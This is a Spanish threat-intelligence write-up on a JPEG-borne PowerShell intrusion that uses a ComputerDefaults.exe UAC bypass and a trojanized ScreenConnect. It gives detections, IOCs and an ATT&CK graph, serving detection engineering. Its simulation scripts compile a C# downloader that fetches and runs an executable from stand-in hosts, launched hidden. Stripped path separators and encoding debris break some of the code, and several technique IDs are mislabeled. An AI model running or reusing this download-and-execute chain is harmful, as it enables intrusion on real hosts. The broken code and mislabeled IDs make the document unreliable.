OPERACIÓN SILENTCANVAS : INTRUSIÓN DE POWERSHELL MULTIFASE BASADA EN JPEG
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
La Operación SilentCanvas es una intrusión sofisticada de múltiples etapas que oculta una carga útil maliciosa de PowerShell dentro de un archivo JPEG llamado sysupdate.jpeg. Esa carga útil recupera y compila un lanzador personalizado, que se construye a través de csc.exe, abusa de ComputerDefaults.exe para realizar un bypass de UAC sin archivos e instala un servicio ConnectWise ScreenConnect troyanizado llamado OneDriveServers para mantener acceso remoto persistente. El malware se comunica a través de canales cifrados dirigidos a legitserver.theworkpc.com a través de los puertos 5443 and 8041. La campaña también muestra un fuerte énfasis en la evasión de defensas, recolección de credenciales y vigilancia encubierta.
Investigación
El informe cubre tanto el análisis estático como dinámico del cargador basado en JPEG, el binario dinámica y compilado uds.exe , y los componentes modificados de ScreenConnect. Los investigadores identificaron múltiples técnicas ofensivas, incluyendo el bypass de AMSI, el abuso de binarios que viven de la tierra, el secuestro del registro, y la derivación de claves personalizadas para la comunicación cifrada. El análisis de infraestructura reveló un mapeo codificado entre legitserver.theworkpc.com y la dirección IP 45.138.16.64. La investigación también expuso un perfil detallado de las víctimas, manipulación de cuentas locales y funcionalidad vinculada al acceso oculto al escritorio.
Mitigación
Los defensores deben aplicar listas blancas estrictas para las herramientas legítimas de monitoreo y gestión remota, y restringir o monitorear de cerca la ejecución de csc.exe, cvtres.exe, y ComputerDefaults.exe. La monitorización también debe centrarse en cambios sospechosos en el registro ms-settings , comportamiento de bypass de AMSI de PowerShell, banderas de creación de procesos ocultos, y creación no autorizada de servicios que involucran el nombre OneDriveServers. Cualquier cuenta que pueda haber sido expuesta debe restablecerse, y los sistemas afectados deben aislarse rápidamente para prevenir más abusos.
Respuesta
Si se detectan indicadores relacionados, el punto final debe ponerse en cuarentena de inmediato, el uds.exe proceso malicioso y la actividad de PowerShell asociada deben terminarse, y el OneDriveServers servicio debe eliminarse del host. Los investigadores deben recopilar artefactos del registro, binarios de servicio y telemetría de red vinculada a la infraestructura de comando y control para una revisión forense más profunda. Todas las credenciales privilegiadas deben rotarse y los defensores deben monitorear patrones de movimiento lateral asociados con las técnicas documentadas en la campaña.
"graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodos – Acciones action_initial_access["<b>Acción</b> – <b>T1566 Archivo Adjunto de Phishing</b>: Correo electrónico entrega archivo malicioso <i>sysupdate.jpeg</i> disfrazado como imagen."] class action_initial_access action action_user_execution["<b>Acción</b> – <b>T1204.002 Ejecución del Usuario</b> y <b>T1059.001 PowerShell</b>: La víctima hace doble clic en el .jpeg que lanza PowerShell incrustado."] class action_user_execution action action_execution["<b>Acción</b> – <b>T1562.001 Deshabilitar Herramientas de Seguridad</b> (bypass de AMSI) y <b>T1027 Ofuscación</b>: El script de PowerShell evade la detección y oculta la lógica maliciosa."] class action_execution action action_dev_utility_abuse["<b>Acción</b> – <b>T1127 Compilar Después de Entrega</b> y <b>T1027.004 Archivos Ofuscados/Almacenados</b>: El script incrusta fuente de C# y compila con <i>csc.exe</i> para crear un lanzador personalizado."] class action_dev_utility_abuse action action_priv_esc["<b>Acción</b> – <b>T1548.002 Secuestro de Flujo de Ejecución</b> a través del protocolo <i>ms-settings</i> y <b>T1218.002 Archivo HTML Compilado</b> usando <i>ComputerDefaults.exe</i> para un bypass de UAC sin archivos."] class action_priv_esc action action_persistence["<b>Acción</b> – <b>T1543.003 Servicio de Windows</b> nombrado <i>OneDriveServers</i> y <b>T1136.001 Cuenta Local</b> creación de cuentas de administrador ocultas para acceso a largou2011plazo."] class action_persistence action action_tool_hijack["<b>Acción</b> – <b>T1553.002 Ejecución de Proxy de Binario Firmado</b>: Despliega binario ConnectWise ScreenConnect troyanizado abusando de componentes firmados legítimos."] class action_tool_hijack action action_credential_access["<b>Acción</b> – <b>T1556.001 Enganche API de Credenciales</b> y <b>T1056.001 Captura de Entrada</b>: Instala enganche de proveedor de credenciales y keylogger para recolectar credenciales de usuario."] class action_credential_access action action_collection["<b>Acción</b> – <b>T1113 Captura de Pantalla</b>, <b>T1125 Captura de Video</b>, <b>T1123 Captura de Audio</b>, <b>T1115 Datos del Portapapeles</b>: Recopila información visual, de audio y del portapapeles."] class action_collection action action_discovery["<b>Acción</b> – <b>T1518 Descubrimiento de Software</b>, <b>T1010 Descubrimiento de Ventana de Aplicación</b>, <b>T1082 Descubrimiento de Información del Sistema</b>: Enumera software instalado, productos antivirus, información del sistema y ventanas activas."] class action_discovery action action_c2["<b>Acción</b> – <b>T1573 Canal Cifrado</b>: Configura C2 cifrado usando claves PBKDF2/HMACu2011SHA256 y transfiere herramientas adicionales vía <b>T1105 Transferencia de Herramientas de Ingreso</b>."] class action_c2 action action_remote_execution["<b>Acción</b> – <b>T1021 Servicios Remotos</b>: Ejecuta comandos en la víctima a través del framework ScreenConnect."] class action_remote_execution action action_impact["<b>Acción</b> – <b>T1529 Apagado/Reinicio del Sistema</b>: Puede provocar un reinicio del sistema o un reinicio en modo seguro para interrumpir el entorno."] class action_impact action %% Nodos – Herramientas / Procesos tool_sysupdate_jpeg["<b>Herramienta</b> – <b>Nombre</b>: sysupdate.jpeg<br/><b>Tipo</b>: Archivo adjunto malicioso disfrazado de imagen"] class tool_sysupdate_jpeg tool tool_powershell["<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Tipo</b>: Motor de scripting usado para ejecución y ofuscación"] class tool_powershell tool tool_csc["<b>Herramienta</b> – <b>Nombre</b>: csc.exe<br/><b>Tipo</b>: Compilador de C# aprovechado enu2011host"] class tool_csc tool process_computerdefaults["<b>Proceso</b> – <b>Nombre</b>: ComputerDefaults.exe<br/><b>Descripción</b>: Usado como proxy para bypass de UAC sin archivos"] class process_computerdefaults process tool_screenconnect["<b>Herramienta</b> – <b>Nombre</b>: ConnectWise ScreenConnect<br/><b>Tipo</b>: Software de acceso remoto hijacked with malicious payload"] class tool_screenconnect tool malware_keylogger["<b>Malware</b> – <b>Nombre</b>: Keylogger Personalizado<br/><b>Propósito</b>: Capturar las pulsaciones de teclas y credenciales"] class malware_keylogger malware %% Conexiones – Flujo de Ataque action_initial_access –>|entrega| tool_sysupdate_jpeg tool_sysupdate_jpeg –>|desencadena| action_user_execution action_user_execution –>|ejecuta| tool_powershell tool_powershell –>|realiza| action_execution action_execution –>|utiliza| tool_csc tool_csc –>|crea| action_dev_utility_abuse action_dev_utility_abuse –>|produce lanzador para| action_priv_esc action_priv_esc –>|invoca| process_computerdefaults process_computerdefaults –>|habilita| action_persistence action_persistence –>|crea| action_tool_hijack action_tool_hijack –>|instala| tool_screenconnect tool_screenconnect –>|facilita| action_credential_access action_credential_access –>|instala| malware_keylogger malware_keylogger –>|habilita| action_collection action_collection –>|alimenta datos a| action_c2 action_c2 –>|apoya| action_remote_execution action_remote_execution –>|utiliza| tool_screenconnect action_remote_execution –>|conduce a| action_impact action_discovery –>|proporciona información para| action_c2 %% Estilización class tool_sysupdate_jpeg tool class tool_powershell tool class tool_csc tool class tool_screenconnect tool class process_computerdefaults process class malware_keylogger malware "
Flujo de Ataque
Detecciones
Posible Bypass de UAC vía Interfaz COM CMSTPLUA [técnica SafaPay] (a través de cmdline)
Ver
Posible Enumeración de Software Antivirus o Firewall (a través de creación de procesos)
Ver
Software Alternativo de Acceso/Administración Remota (a través de creación de procesos)
Ver
Un Archivo Fue Extraído a un Directorio Sospechoso Usando PowerShell (a través de PowerShell)
Ver
IOCs (HashSha256) para detectar: OPERACIÓN SILENTCANVAS : INTRUSIÓN POWER SHELL BASADA EN JPEG MULTI-ETAPA
Ver
IOCs (SourceIP) para detectar: OPERACIÓN SILENTCANVAS : INTRUSIÓN POWER SHELL BASADA EN JPEG MULTI-ETAPA
Ver
IOCs (DestinationIP) para detectar: OPERACIÓN SILENTCANVAS : INTRUSIÓN POWER SHELL BASADA EN JPEG MULTI-ETAPA
Ver
Comunicaciones Cifradas con Infraestructura del Atacante a través de Puertos No Estándar [Conexión de Red de Windows]
Ver
Detección de Intrusión mediante Abuso de csc.exe y ComputerDefaults.exe [Creación de Procesos de Windows]
Ver
Ejecución de PowerShell con Bypass de AMSI [PowerShell de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Control Previo de Telemetría y Línea de Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.
-
Narrativa y Comandos de Ataque:
- Punto de apoyo inicial: El atacante obtiene una sesión de PowerShell de bajo privilegio en el punto final.
- Compilación en vivo: Usando el
csc.exeya disponible, el atacante compila un descargador de C# que obtiene una carga útil de segunda etapa de un servidor C2. La compilación se lanza desde el proceso de PowerShell para satisfacer la condición de padre-hijo. - Bypass de UAC sin archivos: El atacante ejecuta el ejecutable recién construido a través de
ComputerDefaults.exe, que solicita en silencio elevación sin mostrar un mensaje de UAC. - Ejecución posterior a la elevación: La carga útil elevada establece un shell reverso de vuelta al adversario.
# Paso 1 – Preparar fuente dañina de C# (en memoria) $csSource = @" using System; using System.Net; using System.Diagnostics; public class Downloader { public static void Main() { using (WebClient wc = new WebClient()) { string payloadUrl = "http://malicious.example.com/payload.exe"; string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe"); wc.DownloadFile(payloadUrl, tempPath); Process.Start(tempPath); } } } "@ $srcPath = "$env:TEMPDownloader.cs" $exePath = "$env:TEMPDownloader.exe" $csSource | Out-File -FilePath $srcPath -Encoding ASCII # Paso 2 – Compilar vía csc.exe (padre = PowerShell) & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath # Paso 3 – Activar bypass de UAC usando ComputerDefaults.exe (aún hijo de PowerShell) $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Script de Prueba de Regresión: (script autónomo de PowerShell que reproduce los pasos anteriores)
# ----------------------------------------------------------------- # Archivo: trigger_csc_uac_bypass.ps1 # Propósito: Simular la cadena de ataque csc.exe + ComputerDefaults.exe # ----------------------------------------------------------------- # Crear fuente de C# maliciosa en el directorio TEMP $src = @" using System; using System.Net; using System.Diagnostics; public class Payload { public static void Main() { using (WebClient wc = new WebClient()) { string url = "http://example.com/evil.exe"; string path = System.IO.Path.Combine($env:TEMP, "evil.exe"); wc.DownloadFile(url, path); Process.Start(path); } } } "@ $srcPath = Join-Path $env:TEMP "Payload.cs" $exePath = Join-Path $env:TEMP "Payload.exe" $src | Out-File -FilePath $srcPath -Encoding ASCII # Compilar con csc.exe (este proceso de PowerShell se convierte en el padre) $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $csc /nologo /t:exe /out:$exePath $srcPath # Ejecutar vía ComputerDefaults.exe para realizar un bypass de UAC silencioso $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Comandos de Limpieza:
# Eliminar artefactos generados Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue # Opcionalmente terminar cualquier proceso restante iniciado por la prueba Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force